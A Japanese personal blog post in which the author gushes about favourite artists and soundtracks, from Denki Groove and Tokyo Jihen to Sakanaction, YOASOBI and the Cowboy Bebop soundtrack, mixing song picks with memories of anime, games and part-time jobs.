鬼とかガリガリ君とか虹とかママケーキとか誰だ！とかメカニカル娘とかB.B.E.とかが好き\nアルバム単位だと初期はVOXXXとカラテカが好きで、瀧が逮捕された直後はカラテカを100周してMarchで感極まってました\nあとVOXXXの密林の猛虎打線〜フラッシュバックJ-popカウントダウンの流れめっちゃ良くないですか！？良いんですよ\n密林の猛虎打線が単体でもう既に良くて、阪神ファンの野次からスペースインベーダーと大魔神のギャラクシーナイターに繋がるのめっちゃ好き\nそこからスペースインベーダーからの地球人に告ぐメッセージが挟まり、フラッシュバックJ-popカウントダウンで今週の曲ランキングを発表してからの死者の書(エジソン電)に繋がるのが綺麗過ぎる\n何の話をしているんですか？電気グルーヴの曲の話をしています\nライブ版として、イルボン2000でフラッシュバックJ-popカウントダウンからアップテンポのShangri-Laに繋がるのもめっちゃ良い 何回聴いてもテンションがぶち上がる\nMVは聖☆おじさんが好き 電気とスチャダラパーが旅行するだけのホームビデオなのに面白い\n電気のホームビデオMV最高に好き ドリルキング社歌2001最高すぎる 今までの活動を切り取っただけなのに何でこんなに面白いんだ\nあとこれはホームビデオではないけどVOLCANIC DRUMBEATSのMVが最高に好き 一番好き イルボン2000バージョンです\nアルバムのJ-POPって初期と最近どっちに含まれるんだろう モノノケダンスが入っているから最近？\n電気グルーヴで私が最初に手に取ったアルバムがJ-POPで、めちゃくちゃ思い出深いやつです\nなぜこれを最初に手に取ったかというと空中ブランコというアニメがあり、それの劇中歌としてJ-POPのいちご娘が使われていたからです\n劇中歌といっても歌詞が無く普通のBGMとして使われていて\n当時「本編に歌っぽいものが何も出てきてないのに、なぜか毎回いちご娘という劇中歌がクレジットされている なんで？」と疑問に思ってアルバムを手に取った思い出\n好きすぎるのでちょっとだけ空中ブランコの話をしていいですか？ありがとう\nOPとEDにも電気の曲が使われており、めっちゃ良かった すんごい独特なアニメだった\n声優の顔(実写)がそのまま使われており、あまりにも斬新\n伊良部一郎の大、中、小が全部良かった 朴璐美さんの小が可愛いんだ\n監督はモノノ怪の中村健治さんです モノノ怪も良いよね そろそろアニメの話は終わろっか 終わりが見えないため\n空中ブランコOP曲のUpside Downから明確に最近の電気グルーヴという感じがする 個人の感想です\nUpside DownのMV大好き 女の子が思い思いに踊っている映像が楽しめる\nSHAMEFULもSHAMEもめっちゃかっこいいし、あとBaby\u0026rsquo;s on FireはMVが最高に好き ここらへんからMVがどんどんかっこよくなる\nBaby\u0026rsquo;s on Fireはライブで死ぬほどぶち上がる曲なのでそれも含めて好き 大好き 本当に好き 愛している\nライブでぶち上がる曲といえば顔変わっちゃってる。も死ぬほど好き しみじみと一番好き\nFallin\u0026rsquo; Downとかも良いよね 本当に良い 電気ってぶち上がる曲だけじゃなくて、こういう開放感のある安定した曲も良いんだ Set you Freeもそんな感じの曲\nあと最近の電気のMVについて話す時に外せないのはやはり人間大統領 120点の電気グルーヴ\n「問題 何をやっているでしょう？」「正解 破壊」がめっちゃ好き 良いよね破壊\nところでMAN HUMANという曲があり、DEVILMAN crybabyというデビルマンのアニメのOPなんですが\nこれめっちゃ良くて、この曲のライブ用映像がKraftwerkのThe Man Machineのオマージュなんですよ 最高 ありがとう\n電気グルーヴのラジオの話をします\n谷山浩子のオールナイトニッポンの話をしたんですが、電気グルーヴのオールナイトニッポンという番組もあり、私はこっちも聴けませんでした 理不尽すぎる\n聴けなかったので特に語ることは無いんですが、だいぶ内容がぶっ飛んでいたらしいので本当にリアルタイムで聴きたかった\n今年の2月に一夜限りの復活でラジオ放送があり、それは舐めるほど聴いた めっちゃ良かったね 電気グルーヴは音楽も良くトークも良いんだ\nST☆RISH 聴く覚醒剤 それが私にとってのST☆RISH\nなぜ覚醒剤かというと、仕事などの作業で限界化した時にST☆RISHの曲をループしながら歌いつつ手を動かす癖があるためです これがよく効くんだ\nST☆RISHを聴くとね 集中力が上がるの 仕事もばりばりできちゃうよ\n一番有名なのがマジLOVE1000%だと思うんですけど、あれのライブ映像は当時の女性向けアニメとしては本当にものすごい作画だった 凄かった 本当に\nダンスシーンを手描きでやるのは本当に凄かった よくやってくれた 100回観ました\n東京事変 (椎名林檎) 生ける伝説！！！！！！！！！！！！！！！！！！！！！！！！！東京事変！！！！！！！！！！！！！！！！！！！全てが名曲！！！！！！！！！！！！\n東京事変あるいは椎名林檎、実際の地名が出てくる曲がめっちゃ好きなんですよね JR新宿駅の東口を出たら其処はあたしの庭 大遊戯場歌舞伎町\n全てが名曲なのでコラージュでどのアルバムを使おうかかなり迷ったんですが、スポーツにしました なぜなら一番聴いていたアルバムだったため\nこのアルバムが出た2010年に特によく事変を聴いていて\n理由は東京事変と椎名林檎が大好きな中央線沿い住みの女たちと一緒にバイトをしていたからです そのため私は中央線沿い住みの女は全員事変が好きだと思い込んでいる\nバイト仲間がカラオケで歌っていた我慢がめちゃくちゃ好きで、私は死ぬまでにもう一度だけでいいから関西出身の女が我慢を歌い上げる様を見たいです よろしくお願いします\n数年前にオールタイム・ベストアルバムの総合が出たので、私が好きな曲を書く必要はなくなりました これに収録されている曲は少なくとも全部好き\n一番好きなのはやっぱり群青日和！！！！！！王道！！！！！！！！！！！！\nところでまたアニメの話をするんですけど、名探偵コナン 緋色の弾丸のエンディングクレジット最高でしたよね！？！？？！？！\nエンディング曲として事変の永遠の不在証明が使われていて、この曲は後半に数秒の静寂があるんですけど\n劇場でどうするのかな、シーンとなるから静寂部分はさすがにカットかなと思っていたら、むしろ静寂部分をうまく使って最高にかっこいい演出になっていてびびり散らかしました 凄い以外の言葉が無い\nあと椎名林檎は他歌手への曲提供もしているんですが、提供した曲をセルフカバーした逆輸入というアルバムがあり、最高 港湾局と航空局の2枚あります\n椎名林檎が歌う薄ら氷心中、端的に言って最高 林原めぐみ版も最高 全てが最高\n倉橋ヨエコ (ヨエコ) ヨエコ活動再開おめでとう！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ニューヨエコめっちゃ良い！！！！！！！！！\n現在はヨエコとして活動していますが、この記事では倉橋ヨエコ時代の曲について多く言及するので倉橋ヨエコと呼ぶことにします\nあなたの倉橋ヨエコはどこから？私は給与明細という番組から\nテリー伊藤企画のかなりゲスい番組なんですが、そのテーマソングとして一時期倉橋ヨエコの損と嘘が使われており、それ経由で惚れ込みました\n当時好きすぎて、少ないお金をやりくりしてMV集のDVDを買った思い出\n東京の倉橋ヨエコがめーーーーーーーーーちゃくちゃ好き 美人の塊 MVだと東京がやっぱり一番好き\nあとは恋の大捜査のMVも最高 昔のアニメ風のMVめっちゃ良い 最後の展開も含めて好き\n人間辞めてももとても好き あと流星 私が倉橋ヨエコの中で一番好きな曲は流星\n倉橋ヨエコの曲って他人(主に恋人あるいは好きな人)に死ぬほど執着している曲が多いんですけど、そのドロドロ具合が良いんですよね\n基本的に何もうまくいってない うまくいってないんだけど諦めきれなくてドロドロしている\nでも今日も雨みたいな少し前向きな曲もある あれを前向きと呼ぶのは少し違うかもしれないけど\nそういうのがね しみじみと良いんですよ\nFazıl Say 恐ろしく軽快にピアノを弾く人 多分指が30本くらいある\nコラージュで挙げたアルバムが恐ろしいほど良くて、ファジル・サイとガーシュウィンがベストマッチすぎる\n確かこのアルバムは最初はRhapsody in Blue目当てで手に取ったんですけど、最終的に全曲良かった 本当に良かった\nRialto Ripplesは軽快すぎて指が50本あるし、I Got Rhythmはありがとう以外の言葉がない 最高\nSummertime Ⅱはドの付くド定番 生まれてきてくれてありがとう これはファジル・サイとガーシュウィン両者へ捧げる言葉です\nARIA The ANIMATION オリジナルサウンドトラック ごめん これはちょっと言葉にできない\nARIAってそういう作品なんですよ 全ての良さが詰まっているし、その良さは私が言葉にしたら崩壊してしまうんだ\n例えるなら日光でぽかぽかになったベンチの上、あるいは海沿いで日向ぼっこをしながらうとうとしている猫\nそういった概念を集め、ふんわりとした優しい甘さの糖衣で包んだらそれがARIA そういう感じです\nMETAFIVE 誕生してくれてありがとう！！！！！！！！！！！！！！！！！高橋幸宏\u0026amp;METAFIVEを続けてくれてありがとう！！！！！！！！！！！！！！！！！！！！！\nありがとう高橋幸宏 本当に全てがかっこよかった 全てがかっこよかったのは過言かもしれない 君に、胸キュン。があるため トリオ・ザ・テクノとかもあったね\n高橋幸宏の話をするとYMOの項目になるのでMETAFIVEの話をします\nMETAFIVE大好き 奇跡の縁から生まれたキラキラ光る宝石\n一番好きなのはDon\u0026rsquo;t Move この曲を聞いた瞬間METAFIVEの虜になった この時に観ていたフジロックのライブは諸事情でメンバーが半分以上いなかったんですが\u0026hellip;\u0026hellip;\nメンバー的にはほぼテクノなんですけど、テクノとも言い切れないんだよな これは何ですか？かっこよさの塊です\nThe ParamedicsとかMusical Chairsとかの力強い曲も好きなんだけど、環境と心理が特別に好きすぎる 小山田圭吾がコーネリアスとしてライブで歌った時は痺れた\nMusical ChairsのMVめっちゃ好き クール 淡々とした良さ\nYMOの曲などのカバーもしていて、CUEは本当に名曲 BALLETも最高 またYMOの話をしている\nTECHNO RECITALは本当に良いアルバム やっぱテクノなんだよな\nMetallica 良いよねメタリカ 味がある\nいくつかの曲はライブ音源を聴きすぎて、原曲を聴くと安定しすぎて逆に違和感を持つ身体になってしまった\nライブでの演奏の出来が本当に良し悪しで、良い時は本当に安定しておりライブらしさもある良い音なのに\nだめなライブは本当にだめ 演奏の調和が崩壊している あと音程が迷子になっている そこもまた音源として聴く分には面白いんだ\n私が好き好んでだめな時の音源をよく聴いているので言うほどだめなライブが多いわけではないとは思う\n有名どころだとBatteryとかMaster Of Puppetsとか、あとDirty Windowめっちゃ好き\nDirty Windowめっちゃ良くないですか！？ 最初の数秒で即惚れた\nPerfume ド安定！！！！！！良さが天井知らず！！！！！！！！！！！！！！！！！！！\n中田ヤスタカプロデュースがド安定ってよく考えると凄い いや誰がどう考えてもド安定なんだけど、ジャンル自体はいつも攻めてるんだよね\nさっそくMVの話をするんですけど、Spending all my timeのMV本当に好き 知っている全てのMVから最高のものを10つ選べと言われたら確実にこれが入るくらい好き 良すぎる\nこういう繰り返し系といえばよいのか、同じ映像を何度も使ったり一部を切り取ったり逆再生したり同じように見せかけて一部を変えてみたりとかそういうのが本当に好き 綺麗 整っている\nもちろんこういう映像が成り立つためにはまずは良い曲と良いダンスが必要で、そこはやっぱりPerfumeだからこそできる技だと思う 唯一無二 国宝\nあとやっぱりPerfumeといえばライブでの映像技術ですよね その時々の最新技術が詰まってる\n踊っている3人の衣装にリアルタイムでプロジェクションマッピングとか当時何を言っているのかがよく分からなかった なぜなら不可能だと思っていたため\n凄いよね Perfumeって関わる全ての人がプロフェッショナルなんだ 最高\nワンルーム・ディスコとかナチュラルに恋してとかFAKE ITとかレーザービームとかGLITTERとかSpring of Lifeとか好き その、だいぶ比較的古い曲に寄りがち\nあとほとんど歌詞が無いけどEnter the Sphereが死ぬほど好き\nPerfume Global Site ProjectっていうPerfumeのダンスモーションデータとかを配布する神プロジェクトがあったんですけど、そのページでこの曲が使われていた思い出\nあのページめちゃくちゃ良かったんだけど今探したらもうどこにもなかった 本当にかっこよかったんですよ\nPerfume Global Site Projectは確かNHKのテクネ 映像の教室で紹介されていて知ったんですけど、テクネの話ってどこですればいいですか？この記事は曲について語る記事なんですが\u0026hellip;\u0026hellip;\nサカナクション 国宝！！！！！！！！！！！！！！！！！！！！！！！！！！！！生まれてきてくれてありがとう！！！！！！！！！！\nサカナが無い世界は考えられない 空気と同じ 人間って空気がないと生きられないんです そこにあるのが当たり前で、いつでもそこにある そんな存在\nショック！のMVめっちゃ好き 嶋田久作良いよね 存在感の塊なんだけどMVにうまく溶け込みつつシングルジャケットの顔としても映えて 360度どの角度からみても最高\n古めの雰囲気のMV、サカナに合うよね 本当に合う 新宝島とかもそう あれはドリフ大爆笑なので\n一行だけドリフの話をするんですけど、ドリフ大爆笑のオープニング曲もものすごく好き 隣組をリメイクするという発想が好きすぎる\nサカナクションの話に戻ります\n最初に惚れ込んだ曲が『バッハの旋律を夜に聴いたせいです。』なんですけど、あれも良い MVもとても良い\nMVがめっちゃ挑戦的で、今観ると良質なサカナクションの塊って感じなんですけど\n初めて観た時は「なんだこの個性的なMVは！！！！！！！！」と衝撃を受けました 何も知らない状態でこのMVを接種するのは刺激が強すぎた 刺激は強ければ強いほど良いとされる\nあとミュージックはサカナクションという宝の山で燦然と輝くダイヤモンド サカナの曲の中でも一際きらきら輝いている\nこれは本当にすごい 良い曲を聴いた時って「これ良い曲だな〜」という感想になると思うんですけど、ミュージックは違った 「完成された一つの\u0026quot;芸術作品\u0026quot;を観た」という気持ちだった\nそのくらい完成度が高く、必要なものが全てそこにあり、何も欠けていない\nそういう意味ではダイヤモンドという例えは少し違うかもしれない ミュージックって球体なんだよな 完全な丸 それだけで完成されている究極の存在\nアイデンティティも良いよね この頃のサカナの顔って感じの曲\n今久しぶりにMVを観てみたら結構シンプルで、これって曲の完成度が為せる技 曲が力強くて求心力があるからMVはシンプルでよい そういうことだと思います いや言うほどシンプルか？\nMVといえばさよならはエモーションが最高に好きで、これはPerfumeのSpending all my timeと同じく繰り返し系です\n繰り返しに捕らわれた山口一郎 それを眺める別個体の山口一郎 良いよね すごく良い これも最高のMV10選に必ず入る\nあと東京事変の項目で実際の地名が出てくる曲がめっちゃ好きという話をしたんですけど、サカナにもそういう曲がある 表参道26時といいます\n渋谷とか表参道とかは深夜から早朝にかけてが本当に似合う というか繁華街みたいな普段は人がたくさんいる場所全般がそう そういう場所が静まり返る時が好き\n.hack//SIGN ORIGINAL SOUND \u0026amp; SONG TRACK あなたの梶浦由記はどこから？私は.hack//SIGNから\n私はこれがきっかけでMMORPGにはまりました そういう意味では罪深き作品 MMORPGに果たして何百時間費やしたことか\nSee-SawのOPとEDが本当に好き See-Sawって良いよね 唯一無二\nサントラの中ではthe worldが好き 王道の看板曲\n梶浦由記全般が良くて、凄いよね 聴けば一発で梶浦由記だと分かるその個性が凄い\nFictionJunction YUUKAもKalafinaも好き Magiaは名曲 瞳の欠片は思い出の曲\n瞳の欠片経由で.hack//SIGNの話に戻るんですけど、ビィートレイン作品全般好き クセがあるけどそのクセが好き\n.hackシリーズはSIGNだけ観てゲームはやってないのでやりたい 当時テレビゲーム禁止の実家にいたため\n.hack//G.U.はSwitchやSteamにあるけど、感染拡大とかのやつはPS2を買わないといけないのかな 切実に遊びたい\n相対性理論 (やくしまるえつこ) 完全に世代 あの頃人類全員相対性理論を聴いていた これは主語デカです\nものすごい個性 そして最初から完成されていた 1枚目のアルバムのシフォン主義から何一つぶれない\n相対性理論を知った当時私に音楽的知識が無くて、いや今もないんですけど なんか相対性理論って無から生えてきたという印象がある\n音楽って流行りのジャンルみたいなのがあって、流行り始めるバンドってそういう何かしらのジャンルに属することが多い印象なんですけど\n相対性理論はなんか違って、どこにも属してなかった 相対性理論という名の1つのジャンル それが突然生えてきた\nこれは私が知らないだけで多分どこかしらのジャンルには属していると思うんですけど、でも相対性理論って相対性理論じゃないですか？\nLOVEずっきゅんとか四角革命とか品川ナンバーとかチャイナアドバイスとかマイハートハードピンチとかが好きです めちゃくちゃ定番\nやくしまるえつこ個人名義の曲も好きで、ときめきハッカーがめちゃくちゃ好き\nYAKUSHIMARU BODY HACKっていうやくしまるえつこの生体データをリアルタイム公開するサイトがあって 今考えると色々と凄いな\nそこでBGMとしてときめきハッカーが流れていたのでずっと聴いてた\nあとニュームーンに恋してを歌ってたのは凄かった 感動した\nセーラームーンの曲をやくしまるえつこが歌ったらみんな \u0026ldquo;あの頃の女児\u0026rdquo; になっちゃうよ 私はまた主語デカをしました\nニュームーンに恋しての話をするんですけど、あれ凄かった まさか同じ曲を複数アーティストが歌うとは しみじみと良い\nももいろクローバーZ、やくしまるえつこ、堀江美都子と世代をずらしているのが良いよね\nどの世代でもあの頃の女児になれるんだ おもちゃを振り回して変身ごっこをしていたあの頃に\nというかセーラームーンって女児だけのものじゃなくて 大人が読んでもすごく良くて ここは相対性理論の項目なのでこの話はここまでにします\nやくしまるえつこといえばBallet Mécaniqueで、めちゃくちゃ良い 砂原良徳が関わっているのも好きすぎる\n岡田有希子のWONDER TRIP LOVER、坂本龍一のBallet Mecanique、中谷美紀のクロニック・ラヴ、やくしまるえつこ+砂原良徳のBallet Mécanique それぞれの良さがある\n良いメロディって色褪せない 何回噛んでも美味しい\n戦国ランス 年齢制限があるゲームの話をします 年齢制限が必要な部分についての話はしません\n\u0026mdash;\u0026ndash; ここからエロゲの話 \u0026mdash;\u0026ndash;\n戦国ランスめっちゃ好き 私の青春の時間泥棒\n本当にずーーーーーーーーーっとやっていた なので戦国ランスの曲は耳にこびりついている\n鈴女かわいいよ鈴女 あとお町ちゃん最強で最高 島津は許さん\n私は戦国ランスが初ランスで、それまでの歴史は何も知らずに遊んでたんですけど それでも全然問題なかった ゲーム自体が面白かったから歴史は後々学んでいけばよいという感じだった\n鬼畜王ランスもクリアしたいんですよね あれ難しくないですか？ リーザスから一生出られない\nそれでも鬼畜王は魔人レイが出るところまではやっていたので、ランス10の時は相当驚いた レイさんなんか印象違くないですか？という風貌から髪が上がり突然のイケメン\nランス10は本当に良かった 良すぎてシリーズが終わったのに未だに時々遊んでいる\n私はもう終わったランスの物語を心の額縁に飾り、もう生まれることはない新しいランスの背中を探し続けて一生を終える\nと思ってたんですけど、TADAさんが戦国ランスの非公式改造MODをブログで紹介しているのを最近知って心の底から大声が出た\n非公式とはいえ、まだ遊んで良いんですか！？！？！？！？？！？！？！？！？？！？ 私はまだランスと一緒に、あの世界のみんなと一緒に遊んでいいんですか！？？！？！？？！？！？！？！？？！？\nこの記事を書き終わったら最初にすること、それは大戦国ランスを遊ぶことです\n全然曲の話してない Rebirth the edgeは名曲\n大和っていうギタリストがこの曲を弾いた動画をニコニコに上げており、めっちゃ好き 本当に上手い ギター詳しくないけど分かる 音が正確 見た目はタマネギ 大悪司も面白かった\nAdvanced Onを聴けば戦闘中の効果音が聞こえてくるし、Sengoku WorldとSengoku World - v2は聴きすぎてもはや環境音だし、Ontologyを聴けば苦戦している時の感情が蘇る\nあとこれはランス10の曲の話なんですけど、Grand Ending Movieめっちゃ良くないですか！？？！？！？？！！？？ 今までの集大成 最高\n最高と同時に、ランスシリーズって本当に終わったんだなと実感させてくれた曲 こんなに綺麗な終わりを見られたら満足です それはそれとしてまだまだ遊びますが\n\u0026mdash;\u0026ndash; ここまでエロゲの話 \u0026mdash;\u0026ndash;\nカゲロウプロジェクト カゲプロ凄かったよね ちょっと世代がずれてたので私の周りにカゲプロにはまってる人はいなかったけど\n曲が良くて、曲も凄いんですがめちゃくちゃしづのファンで、カゲプロのしづって伸び代の塊だった\nメカクシコードの一枚絵の人が2年後に夕景イエスタデイのMVを作るのは想像できない できなかった\nあらゆる技術を吸収してその時に作れる最高のものを作って公開していた どんどん凝った物になっていくのが本当に楽しみだった\n曲の話に戻ると、群像劇というか各曲の各キャラクターに関係性があるのが良い 曲単体にも物語があるし、それらを集めるとカゲロウプロジェクトという1つの物語になる\nとはいえ曲だけだとやっぱり語られない部分が多いので、そこらへんは私はだいぶ漫画で補完してた アニメは、いや私は好きで最後まで観たんですが\u0026hellip;\u0026hellip;\nアニメの各曲のカバー版めーーーーーーーーーーーーーっちゃ良かった 全部良い\n全部良いけどその中でもLiSA歌唱曲が特に好き ヘッドフォンアクターとか夕景イエスタデイとか夜咄ディセイブとか めっちゃ合ってた\nDEMONDICE カレン生まれてきてくれてありがとう！！！！！！！！！！！！！！！！！！！！！！！好き！！！！！！！！！！！！\nDEMONDICEってジャンルなんなんだろう ラップ？\n初期のコミカルな曲も最近のかっこいい曲も両方好き\n一番はやっぱりAlkatraz 曲もMVもコミカル 何十回聴いても良い\nあとWannabeがめちゃくちゃ良くて、DEMONDICEの一部の曲って日本語混じりの英語ラップって感じなんですけど その良さがぎゅっと詰まっている 日本語字幕を付けてくれてありがとう\nStrange Fictionもとても良く、これはらっぷびととのコラボ曲です\nこれめちゃくちゃ良くて ラップありの通常バージョンも勿論良く、インストゥルメンタル版もめちゃくちゃ良い それぞれ違う良さがある 良いしか言ってない\n例えばゲームのラスボス戦でOP曲の歌詞無し版BGMが流れたら最終戦闘っぽくてめちゃめちゃあがるじゃないですか あんな感じです\n最近の曲だとwanting, getting, wantingが好き めっちゃかっこいい 最近のDEMONDICEってこういう感じ サビが気持ちいい\nカレン、絶対に忙しいと思うんだけど細々とでもいいからDEMONDICEを続けていて欲しい 新曲いつまでも楽しみにしてます\nYOASOBI 世界のYOASOBI！！！！！！！！！！！！！！！！！！！！！！！説明不要！！！！！！！！！！！！！！！\n本当に説明不要ですよね 有名だし全てが名曲\nYOASOBIのアルバムってTHE BOOKという名前で統一されているんですけど、THE BOOK 3特にめっちゃ良い\n何が良いかというと、3は一部の曲の前にInterludeがあるんですよ\nTHE BOOKという名前も相まって、曲という名の物語の導入を読んでいる気持ちになる\nInterludeはだいぶ強めの曲の前に挟まるので、アルバム全体の流れを切らずに自然に繋がって聴ける効果もある 祝福とアイドルの直前に挟まってます どっちも強い\nここから英語版YOASOBIの話をさせてください 英語版YOASOBI本当に凄い\n韻って言うんでしたっけ？日本語版を聴いた時の言葉の流れの感じが英語版に残ってるんです これって翻訳に相当気を使わないとできない 凄すぎる\nそれが顕著なのが夜に駆けるの英語版であるInto The Nightなんですけど、本当に凄い 英語版を聴いているはずなのに所々日本語版の歌詞と音の感じがほとんど変わらない\nまず日本語版の歌詞の出だしの「沈むように」なんですけど、英語版は \u0026ldquo;Seize a move, you\u0026rsquo;re on me\u0026rdquo; です もう完全に合わせてきている\nここまで書いた時点でこの話は長くなると確信したので、後はサビの始まりの部分の話だけするんですけど\n日本語版のサビの始まりって「騒がしい日々に」じゃないですか これが \u0026ldquo;Saw what got seen hid beneath\u0026rdquo; になっていて\nそれって音が日本語版とほぼ同じで 最初に聴いた時いきなり日本語で歌い始めたのかと勘違いしたくらいで そのくらい似ている 本当に凄い\nこんなに似せてきているのはInto The Nightくらいで、他の曲も似せてはいるんですがやっぱりこの曲は別格\nそのくらいInto The Night、あるいは夜に駆けるという曲に力を入れていたんだと思います 本当に良い曲\nあと英語版の話ですらなくなっちゃうんですけど、ハルジオンにも別言語バージョンがあってめっちゃ好き\nThe Sims 4という作品内で使われているSimlishという言語なんですけど、その言語で歌ったバージョンがゲーム内にあります YOASOBIは多才\n私が初めて聴いたYOASOBIはSimlishバージョンのハルジオンでした 奇妙な出会い方\nPublic Service Broadcasting Public Service Broadcastingはバンド名です めっちゃ良いんだけどみんな知ってる\u0026hellip;\u0026hellip;？ 日本での露出が少ないのでさすがにちゃんと説明します\n独特な世界観を持っているバンドで、自分たちで演奏しつつ古い映像とかラジオとかの音声を素材として使ってるんですけど\nこのバンドを説明するための日本語力が私には無いので、よその記事から引用します\nhttps://www.indienative.com/2017/03/public-service-broadcasting/\n古いパブリック・インフォメーション・フィルム、アーカイヴの映像、宣伝用のマテリアルからサンプリングを行なうその特異な音楽スタイルが話題の、ロンドンをベースに活動するミュージック・デュオ、Public Service Broadcasting (パブリック・サーヴィス・ブロードキャスティング)。\nそんな感じらしいです 引用元の日本語が上手い 今はメンバーが増えてデュオじゃなくなってます\nThe Race for Spaceというアルバムがめちゃくちゃ好きで、これは宇宙開発をテーマにしたアルバム\n曲名がSputnikとかGagarinとかになっていてもう既にそれっぽく、曲中で宇宙開発が盛り上がっていた時代の音声素材をサンプリングして使っていてとてもかっこよい\n好きなのはGagarinとGo!\nGo!は人工衛星とかの管制の音声素材を使ってるのかな 宇宙開発に詳しくないのでめちゃくちゃふわふわな日本語を書いていますが本当にかっこいい 好き 痺れる\n独自の世界観を貫いていて本当にかっこいい 古いんだけど新しい 渋い\n2009年から活動し始めたバンドなので決して古くはないんだけど、コンセプトとか目の付け所とかが渋い 良い\n他のアルバムだとNight Mailがとても好き かっこよい 爽快感がある\nこの曲のBaltic Fleet Remix Radio Editが本当に良い 低音が足りてる\nイギリスで1936年にNight Mailというドキュメンタリー映画が公開され、それがサンプリング元っぽい 私はイギリスのことを何一つ知らない どうして\u0026hellip;\u0026hellip;\nKing Gnu 説明不要！！！！！！！！！！！！！！！！！我らがKing Gnu！！！！！！！！！！！！Kingという単語が相応しいバンド\n今この項目を書くためにKing Gnuのアー写を表示したんですが、常田さん本当にかっこいいな こんな完璧な存在が許されていいんですか？ 完璧なだけじゃなくて努力家なんだよな 凄いよね\n曲の話をします 全曲名曲\n最初に惚れ込んだのは白日だった 良いよね白日\n音楽的知識が無いから良いしか言えない このあたりもっとうまく言語化できる人箪笥にいるはず 私の代わりにどうかよろしくお願いします\nあと傘も好き King Gnuって勢いがある曲も良いんだけど、こういうちょっと虚しさがあるというか 勢いだけじゃない曲も好き\n悲しい曲というわけじゃなくて、確かにそこにある空白を埋めようとするような曲 そういう感じ Vinylとかもそう\n勢いがあるやつだとどろんとかFlash!!!とか好き\nSPECIALZも良い この曲はなぜか洋楽みを感じる なぜかはよく分からない\nBOYも好き 元気が出る曲 つまり全部名曲\nポルノグラフィティ ザ・世代！！！！！！！！！！！でもポルノの世代って結構広いですよね それだけ名曲をたくさん生み出しているということ\nアゲハ蝶めっちゃよく聴いていた というか今も聴いている 当時アゲハ蝶がイメソンの二次創作が結構あって 曲と関係ないオタクの話はそろそろやめよっか\nサウダージと今宵、月が見えずともも凄く思い出に残っていて、同じ部活の女の子がこれをすごくかっこよく歌い上げていて だめだな、ザ・世代の曲の話はただの思い出話になってしまう\nメリッサもめちゃくちゃ好き ジョバイロとハネウマライダーも好き ここらへんは多分定番 オー！リバルとかも好き Century Loversも良い\nヒトリノ夜も最高に好き GTOのOP映像がむちゃくちゃ合ってる\nあとまほろば○△という曲も好きで、これは実在の地名が出てくるから好きなシリーズです\nどことは言えないけど歌の内容と渋谷という地名で場所がだいたい分かる 良い\nPeer Gynt, Op. 23 これはペール・ギュントという戯曲のためにエドヴァルド・グリーグが作曲した、何だろう 劇伴？ 戯曲を舞台で上演するときに流れる曲集です\nいくつかの曲が有名で、朝とか山の魔王の宮殿にてとかは誰でもどこかで一度は聴いたことがあると思う\nまず戯曲のほうのペール・ギュントの話をします\nペール・ギュントという自由な男の一生を書いた物語で、彼が色々と無茶苦茶をやって死ぬまでが書かれている\n他人の嫁を略奪したり大金持ちになったと思ったら無一文になったり預言者になったり精神病院の皇帝になったりする\n旧仮名遣いでよければインターネットで無料で読める 私はそれを読みました\nそんな物語の劇伴なので、つまりPeer Gynt, Op. 23はペール・ギュントという男の人生のイメソン集です\nとても良い 私もグリーグに人生のイメソン作って欲しい 人生のイメソン、自分で書いておいてものすごく魅力がある言葉であることに気付いた\nペールの人生を知るとソルヴェイグの子守唄という曲がめちゃくちゃ良くて、良い\n人生通して滅茶苦茶をやったペールに捧ぐ最後の曲 子守唄というのが良いよね\n日本語の戯曲を読むとめちゃくちゃ優しい歌詞で、グリーグの劇伴はドイツ語だかノルウェー語だか何かなので私は何言ってるか分からないんですが雰囲気が神聖 厳か でも優しさもある 好き\nあとアニトラの踊りも好き 因縁の相手だけど好き\nなぜ因縁かというとその昔ピアノで弾こうとして難しすぎてぼこぼこにされたからです\nベルヴィル・ランデヴー フランスのアニメ映画のサウンドトラック すんごいおしゃれ\n曲の雰囲気はおしゃれなんだけど主題歌のBelleville Rendez-VousのMVが風邪を引いた時に見る悪夢 でもそのセンス嫌いではない\n私のフランス観がめちゃくちゃふんわりしているので、フランスっぽいからおしゃれと言い張っている可能性はあります\n作品自体も曲も決して明るいというわけではなく、成熟した諦念という感じ\n私はこの作品がバーで流れているのを見て好きになったんですが、そういう場所が似合う\n決して暗いというわけではなく、色々なものに折り合いをつけて、それでもある程度楽しくやっているという そんな雰囲気\nMYTH \u0026amp; ROID 聴く覚醒剤2 おはようございます！！！！！！！！！！！！！！！\n仕事等の作業で負の方向に限界化した時によく聴きます 正のST☆RISH 負のMYTH \u0026amp; ROID\nJINGO JUNGLEかっこよくてめーーーーーーっちゃ好き\nANGER/ANGERもCrazy Scary Holy Fantasyもぶち上がる\nあとはなんといってもshadowgraphが最高 綺麗\nブギーポップは笑わない(新)のPVが出た時からフル尺で聴くのをずっと楽しみにしていた フルで聴けた時は感動した この曲を作ってくれて本当にありがとうMYTH \u0026amp; ROID\nCOWBOY BEBOP オリジナルサウンドトラック もはや義務教育 これは過言です\nTank!は外すことができない王道中の王道として、PIANO BLACKとか渋くて好き\nTOO GOOD TOO BADも王道 聴いていて元気が出る CAR 24もめっちゃ良い\nAmerican Moneyとかよく聴いたんですけど、なぜかビバップ以外でよく聴いた印象がある アニメの曲って時々バラエティ番組とかで使われますよね\nあとCats on Marsは外せない エドかわいい！！！！！！！！！！！！！！！！！！\nWant it all backも名曲 ボーカルがかっこいい 演奏が最高\nThe EGG and YOUも良いよね ピアノのメロディがものすごく映えてる シンプルな曲だからこその良さがある\nMUSHROOM HUNTINGとかも好き これ何だろう ベース？ 低音がものすごく良い仕事してる\nあとこれは厳密にはビバップの曲ではないんですけど、よせあつめブルースで流れたSHAKKAZOMBIEの空を取り戻した日が本当に好き しみじみと好き\nよせあつめブルース自体が本当に好きで、本当は当時よせあつめブルースが生まれなくてもよい環境であるのが一番だったんですけど\n抗議とかやるせなさとか憤怒の気持ちが元になって作られたのは確かだろうけど、あれもまた一つのカウボーイビバップだった ビバップの終わりではないけど一部ではあった 私はそう思います\n[Alexandros] Waitress, Waitress!のMV経由で惚れ込みました 今考えるといかにも売れだしたバンドが作りそうなMVなんだけど、かっこいいんだよなあ 歌にカリスマがある\nDear Enemiesも好き ギターとベースがかっこいい\nKiss the Damageも好き このまま書き続けるとSchwarzeneggerの収録曲1つ1つに言及することになると気付きました このアルバム好きすぎる 全曲好き\nあとShe\u0026rsquo;s Veryめちゃくちゃかっこいい これかっこよくないですか！？！？！？？！？ ファーストアルバムの2曲目でなんだこの完成度は 